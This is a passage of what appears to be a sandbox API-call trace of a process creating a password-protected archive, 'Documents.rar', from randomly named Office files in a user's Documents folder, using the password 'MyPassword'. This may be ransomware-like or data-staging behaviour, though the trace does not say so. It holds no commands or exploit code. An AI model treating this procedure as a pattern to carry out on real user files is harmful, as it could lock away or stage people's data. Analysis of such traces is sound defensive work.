GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x14)) [0068.400] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.400] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14374064460) returned 1 [0068.400] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x167a5, lpOverlapped=0x0) returned 1 [0068.401] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b67e5, nNumberOfBytesToRead=0xe985b, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b67e5*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.401] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.401] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.401] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ef0 [0068.401] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f20 [0068.401] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f20, Size=0x48) returned 0x39db40 [0068.401] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.401] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f20 [0068.401] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f20, Size=0x48) returned 0x39daf0 [0068.401] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.401] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.401] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f20 [0068.401] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f50 [0068.401] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63f50 | out: hHeap=0x2e0000) returned 1 [0068.401] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63f20 | out: hHeap=0x2e0000) returned 1 [0068.401] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ef0, Size=0x48) returned 0x39db40 [0068.401] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.401] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.401] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.402] GetTickCount () returned 0xa6763b [0068.402] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14374224613) returned 1 [0068.402] GetTickCount () returned 0xa6763b [0068.402] GetTickCount () returned 0xa6763b [0068.402] GetTickCount () returned 0xa6763b [0068.402] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.402] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.402] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.402] ResetEvent (hEvent=0x1a4) returned 1 [0068.402] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.403] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.404] ResetEvent (hEvent=0x1a4) returned 1 [0068.404] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.407] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.407] ResetEvent (hEvent=0x1a4) returned 1 [0068.407] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.409] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.409] GetTickCount () returned 0xa6764b [0068.409] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14374966542) returned 1 [0068.409] GetTickCount () returned 0xa6764b [0068.409] GetTickCount () returned 0xa6764b [0068.409] GetTickCount () returned 0xa6764b [0068.409] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.409] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.409] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.409] ResetEvent (hEvent=0x190) returned 1 [0068.409] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.410] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.410] ResetEvent (hEvent=0x190) returned 1 [0068.410] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.411] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.411] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.411] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.411] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x2317ba [0068.411] SetFilePointer (in: hFile=0x198, lDistanceToMove=103, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x231821 [0068.411] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.411] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.411] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.411] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.411] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x16870, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x16870, lpOverlapped=0x0) returned 1 [0068.413] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.413] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.413] SetFilePointer (in: hFile=0x198, lDistanceToMove=2299834, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2317ba [0068.413] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x2317ba [0068.413] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ef0 [0068.413] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f20 [0068.413] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f20, Size=0x48) returned 0x39daf0 [0068.413] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.413] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f20 [0068.413] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f20, Size=0x48) returned 0x39db40 [0068.413] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.413] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.413] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f20 [0068.413] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f50 [0068.413] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63f50 | out: hHeap=0x2e0000) returned 1 [0068.413] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63f20 | out: hHeap=0x2e0000) returned 1 [0068.413] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ef0, Size=0x48) returned 0x39daf0 [0068.413] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.413] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x67, lpOverlapped=0x0) returned 1 [0068.413] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ef0 [0068.413] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x67) returned 0x3b647c0 [0068.413] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.413] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.413] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x248091 [0068.413] CloseHandle (hObject=0x1b0) returned 1 [0068.413] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.413] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.413] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.413] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.413] FindFirstFileW (in: lpFileName="ohVGFnet7R0TYcogm.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.413] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.414] CreateFileW (lpFileName="ohVGFnet7R0TYcogm.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\ohvgfnet7r0tycogm.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.414] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.414] GetTickCount () returned 0xa6764b [0068.414] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.414] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.414] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.414] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.414] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="OhMb-UaJPoxHiI.pptx") returned 19 [0068.414] SetWindowTextW (hWnd=0x10280, lpString="ohVGFnet7R0TYcogm.pptx") returned 1 [0068.414] GetTickCount () returned 0xa6764b [0068.414] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.414] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.414] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.414] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.414] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x24)) [0068.414] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.415] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14375492286) returned 1 [0068.415] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x17d0e, lpOverlapped=0x0) returned 1 [0068.415] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b7d4e, nNumberOfBytesToRead=0xe82f2, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b7d4e*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.415] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.415] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.415] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f20 [0068.415] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f50 [0068.416] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f50, Size=0x48) returned 0x39db40 [0068.416] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.416] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f50 [0068.416] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f50, Size=0x48) returned 0x39daf0 [0068.416] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.416] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.416] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f50 [0068.416] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f80 [0068.416] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63f80 | out: hHeap=0x2e0000) returned 1 [0068.416] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63f50 | out: hHeap=0x2e0000) returned 1 [0068.416] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f20, Size=0x48) returned 0x39db40 [0068.416] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.416] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.416] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.418] GetTickCount () returned 0xa6764b [0068.418] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14375852489) returned 1 [0068.418] GetTickCount () returned 0xa6764b [0068.418] GetTickCount () returned 0xa6764b [0068.418] GetTickCount () returned 0xa6764b [0068.418] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.418] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.418] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.418] ResetEvent (hEvent=0x1a4) returned 1 [0068.418] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.421] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.421] ResetEvent (hEvent=0x1a4) returned 1 [0068.421] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.424] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.424] ResetEvent (hEvent=0x1a4) returned 1 [0068.424] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.426] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.427] GetTickCount () returned 0xa6765a [0068.427] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14376699179) returned 1 [0068.427] GetTickCount () returned 0xa6765a [0068.427] GetTickCount () returned 0xa6765a [0068.427] GetTickCount () returned 0xa6765a [0068.427] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 1 [0068.427] GetMessageW (in: lpMsg=0x1cd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd760) returned 1 [0068.427] GetFocus () returned 0x0 [0068.427] TranslateMessage (lpMsg=0x1cd760) returned 0 [0068.427] DispatchMessageW (lpMsg=0x1cd760) returned 0x0 [0068.427] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.427] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.427] ResetEvent (hEvent=0x190) returned 1 [0068.427] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.427] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.427] ResetEvent (hEvent=0x190) returned 1 [0068.427] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.428] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.428] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.428] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.428] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x248091 [0068.428] SetFilePointer (in: hFile=0x198, lDistanceToMove=106, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x2480fb [0068.428] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.428] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.428] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.428] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.429] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x17dc0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x17dc0, lpOverlapped=0x0) returned 1 [0068.430] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.430] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.430] SetFilePointer (in: hFile=0x198, lDistanceToMove=2392209, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x248091 [0068.430] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x248091 [0068.430] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f20 [0068.430] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f50 [0068.430] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f50, Size=0x48) returned 0x39daf0 [0068.430] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.430] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f50 [0068.430] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f50, Size=0x48) returned 0x39db40 [0068.430] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.430] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.430] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f50 [0068.430] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f80 [0068.430] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63f80 | out: hHeap=0x2e0000) returned 1 [0068.430] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63f50 | out: hHeap=0x2e0000) returned 1 [0068.430] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f20, Size=0x48) returned 0x39daf0 [0068.430] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.430] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6a, lpOverlapped=0x0) returned 1 [0068.430] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f20 [0068.430] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6a) returned 0x3b4bf10 [0068.430] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.430] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.430] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x25febb [0068.431] CloseHandle (hObject=0x1b0) returned 1 [0068.431] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.431] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.431] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.431] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.431] FindFirstFileW (in: lpFileName="OKr5u -WV3PR.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.431] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.431] CreateFileW (lpFileName="OKr5u -WV3PR.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\okr5u -wv3pr.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.431] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.431] GetTickCount () returned 0xa6765a [0068.431] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.431] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.431] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.431] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.431] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="ohVGFnet7R0TYcogm.pptx") returned 22 [0068.431] SetWindowTextW (hWnd=0x10280, lpString="OKr5u -WV3PR.xlsx") returned 1 [0068.431] GetTickCount () returned 0xa6765a [0068.431] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.431] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.432] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, 